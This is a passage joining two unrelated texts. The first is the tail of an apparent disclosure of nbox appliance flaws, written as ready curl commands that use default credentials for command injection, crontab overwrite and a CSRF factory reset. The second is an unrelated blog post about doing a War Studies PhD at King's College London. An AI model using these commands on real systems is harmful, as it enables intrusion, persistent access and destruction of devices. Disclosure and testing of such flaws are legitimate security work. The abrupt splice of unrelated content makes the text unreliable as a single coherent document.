curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!


Why a War Studies PhD?

When I begin receiving multiple questions on a topic, it's a signal that I should write a blog post.

Several of you have asked me about my experience as a PhD candidate in the King's College London Department of War Studies. In this post I will try to answer your questions by explaining how I got to this point and my overall impressions about the program.

My Academic Background

I have bachelor's of science degrees in history and political science from the US Air Force Academy, and a master's degree in public policy from the Harvard Kennedy School. My last formal academic training ended in 1997 when I graduated from the Air Force Intelligence Officers Training Course.

Why a PhD?

I seriously began considering working on my PhD in 2006, when I was an independent consultant. I've guest lectured at dozens of schools over the years, and taught hundreds of students through my Black Hat courses. I thought the PhD experience would open more doors for future academic opportunities, and I welcomed the opportunity to make an original contribution to the literature. In more recent years I've testified to Congress and worked with think tanks, and in both environments PhDs are common.

My First PhD Choice

After reading Security Engineering (the first edition), I was a fan of Dr Ross Anderson at the University of Cambridge Computer Laboratory. I contacted him, as well as some of his PhD candidates. They invited me to guest lecture at the lab, which I did in May 2006. I considered the possibility of doing research on network security motioning. I liked the idea of the "British system," which emphasized practical research, no coursework, and a high degree of independence. I would have to move my family to the UK.

In the spring of 2007, however, I made contact with my future boss at General Electric. I decided instead to join GE as director of incident response. It was too good an opportunity. That put my PhD plans on hold.

A New Direction

In the fall of 2012 I listened to a 24 lecture series titled Masters of War: History's Greatest Strategic Thinkers by Professor Andrew R. Wilson of the Naval War College. Dr. Wilson reintroduced me to the strategists I had learned about as a cadet twenty years earlier, and kindled a deep interest in strategic history, thought, and practice. I began looking for military history and strategy programs, starting with this list maintained by the Society for Military History.

In the summer of 2013, The Economist magazine asked if I would participate in an online debate with Dr Thomas Rid, author of Cyber War Will Not Take Place. After the debate I read Thomas' book, and learned he was a professor in the KCL War Studies department. I enjoyed the debating process and Thomas' book, so I decided to contact him and some of his PhD candidates to learn more about the PhD program.

During that process, FireEye acquired Mandiant in late December 2013. I decided to change roles and become a full-time strategist, inspired by my changing interests and Prof Wilson's course. That decision definitively shifted my focus away from tools and tactics, and towards operations/campaigns and strategy.

My Final PhD Choice

In early 2014 I connected with Rob Lee, who had started his PhD with Thomas in the fall of 2013. Speaking with Thomas and Rob, I learned the KCL War Studies PhD was even more to my liking than the Cambridge program. KCL also emphasized practical research, no coursework, and a high degree of independence. I would not have to move my family to the UK, but I would have to be very disciplined and stay in contact with my advisor and colleagues.

I applied to the program to meet the spring 2014 deadline, with enrollment in fall 2014. I was accepted and started the program in the fall of 2014, while still maintaining my day job at Mandiant and FireEye.

The Thesis

The desired output for the KCL PhD is a thesis, a 80,000 to 100,000 word work with a goal of eventual publication as a book. Since I was already considering writing my fifth book, this seemed an excellent way to accomplish that goal. Others might find this a scary proposition, but I always enjoyed self-paced research, and the opportunity to devise and answer original research questions was appealing.

Milestones

I will shift my focus slightly to those who might be interested in applying to the program. The PhD program offers three major milestones. First, one must be accepted to the program. I recommend perusing the list of people to find faculty and current students with interests similar to yours. Contact them via email to identify possible advisors and colleagues. If you aren't able to attract any interest, it's a sign you might not have a topic suitable for a PhD. That's a personal judgement, of course.

I approached the application process very seriously. I took several months to complete it and submitted my Strategy, Not Speed piece as my writing sample. Thankfully I was accepted!

Once in the program, the second major milestone is called the "mini viva" or the "upgrade." Prior to passing this milestone, as I understand it, one is not technically a PhD candidate yet. One must write a document of about 20,000 words that includes a thesis abstract, outline, introductory chapter, sample chapter, and completion work plan. The student must then defend that document, live, in front of a panel. I passed that stage of my PhD journey late last year.

The third and final major milestone is the "viva" or the defense of the completed thesis. I am several years away from this step, but I expect it to be an extended version of the upgrade process. Remember that one of the purposes of a PhD is to demonstrate the ability to produce high-level, independent research, so I expect my viva to reflect that philosophy.

My Experience

My experience thus far has been excellent and I plan to continue. However, I would like to highlight a few aspects of my situation. First, I am doing research independently, not at the Strand campus in central London. Several of my colleagues are there now, and they have daily access to a whole world of academic experiences that are unavailable to remote students. If you want a campus experience, you should study in London.

Second, I am still working my day job and being a husband and father, which are my priorities. That means I have to be very careful about  how I manage my time. I felt that I could handle the situation, based on my experience writing and publishing my last book. I started writing my last NSM book in January 2013 and had it ready for Black Hat in late July that year, during the time when Mandiant released the APT1 report.

Third, my thesis, the nature of counter-intrusion campaigns, dovetails well with my day job and professional interests. I would not be able to pursue a PhD in a field not related to my professional life -- I simply wouldn't have the time for research. Because my research matches the needs and interests of my employer, the work I do for Mandiant and FireEye frequently doubles as research for my PhD. Obviously I have a very flexible employer who supports my research, and for that I am grateful.

Fourth, although I am independent, thanks to the initiative of colleagues in the DC area, I am not alone. Last month one of us started a group for War Studies students in the DC area, and we plan to have monthly meetings. I also try to meet with KCL personnel (students or faculty) if we happen to be in the same part of the world at the same time. I started a Slack channel but it hasn't really yet taken off.

Recommended Reading

In addition to reading the KCL and War Studies Web sites, I suggest reading Authoring a PhD by Patrick Dunleavy. It is generally aimed at the British PhD process, focusing on the so-called "big book" thesis.  If you find the sort of research and writing described in that book to be exciting, then a KCL PhD might be for you.

Conclusion

In brief, I recommend the KCL War Studies PhD if you meet the following requirements:

  • You have a suitable undergraduate background, temperament, and social and financial situation, such that you are capable of independent research at the highest level.
  • You have an interest that syncs with at least one possible advisor in the department.
  • You are committed to researching for several years, and writing 80,000-100,000 words on your subject, answering research questions to make original academic and practical contributions to the field.

I may add updates to this post, or simply add them as comments or as answers to questions.